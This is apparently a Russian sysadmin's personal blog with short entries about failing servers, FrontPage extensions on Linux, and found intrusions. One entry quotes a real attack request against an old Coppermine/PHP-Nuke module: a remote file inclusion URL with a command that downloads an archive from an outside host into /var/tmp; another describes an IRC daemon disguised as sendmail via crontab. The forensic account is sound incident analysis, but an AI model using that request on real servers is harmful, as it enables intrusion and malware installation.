Странные записи.

Блин! Что за жизнь? Что за админы?

Сервер Аладона валяется четвертые сутки, немогу зайти на форум.
Форум Нерониса падает каждый день, нужно пинать чтоб подняли.
Прошел уже месяц после подачи заявки на обратную зону для айпи моей фирмы, нихера не сделали, хоть я и напиминаю ежедневно.
Нашел сайт с докуметацией по Питону, больше половины ссылок битые, что за идиоты делают сайт с документацией со всеми внешними ссылками?
Компилирую Java RE & SDK, скатина не хочет собиратся. Хрен поймет изза чего ошибка.

Блин. Одно радует. Сервер Силана рботает. Есть всетаки в жизни стабильность.

Я таки нашел как ломают мои сервера! =)

Все оказалось до банального просто.
У одного из пользователей установлен както форум. Толи phpbb толи phpnuke. Причем достаточно старый и достаточно дырявый. Хакерам оставалось сделать только следующее, написать хитрый запрос который выполняет на сервере команду wget (вот в том что она всетаки выполняетсья я виноват сам)

Тоесть запрос получаеться вида
/modules/coppermine/themes/default/theme.ph
p?THEME_DIR=http://www.deathwar.org/root.txt?&cmd=cd%20/var/tmp;wget%20ek0y.com/ekoy/eko.tar.gz

Причем сам файл root.txt тоже не простой =)

он то и выполняет команду. Нужно будет поикать, как же они этот файл записывают. Думаю что не сложнее чем с запросом.

В итоге мы имеем:
server:/var/tmp/vi.recover/...# ls -a
./ ../ llc* wtc*

Вот это и есть те самые трояны, либо части осла.
Далее дело техники - зайти на сервер и закачать кучу всякой всячены.

Уже долго бьюсь с frontpage серверным расширением под линукс. Только сегодня удалось скачать правильную версию :) До этого скачивал с сайта microsoft и apachetoolbox неработают сволочи. Скачав с сайта www.rtr.com, разработчика frontpage серверного расширения под линукс, удалось его правильно утсановить. Хотя неделю назад скачаный тоже неработал. Видать они там чтото проапдейтили. Там даже оказалась поддержка apache2, то тоже приятно, хоть я его и не использую.
Серверная часть работает. Теперь бьюсь, чтоб клиенская часть работала. Я ниразу не пользовался frontpage приходиться идти методом научного тыка. Тока без успешно :( А в логах совершенно чисто, тоесть я еще ненашел в чем ошибка. Просто не конектиться и все. Может я пароль неправильно прописываю? Хотя я даже незнаю как его вообще указывать при подсоеденении...
Ничего, переборим и эту проблему =) Хорошо что время есть, хоть и мало.

Сижу слушаю Боба Марли.
Хорошо......
Попутно апгреджу серве заказчика, главно чтоб после апгрейда ничего не упало =)

Забавную фичу нашел на одном из серверов. Было запущено 4 процесса сендмайла которые слушали разные порты. При более детальном исследовании выяснилось, что на самом деле это не сендмаил а юзверем запущеный скрипт, являющийся ИРЦ демоном(или чемто похожим) который маскируеться под сендмаил. Умный юзверь просек что можно вносить изменения в кронтаб ноубоди, и записал туда свой скрипт стартующий ИРЦ демона. Я в шоке! Как админ не досмотрел такую фичу =)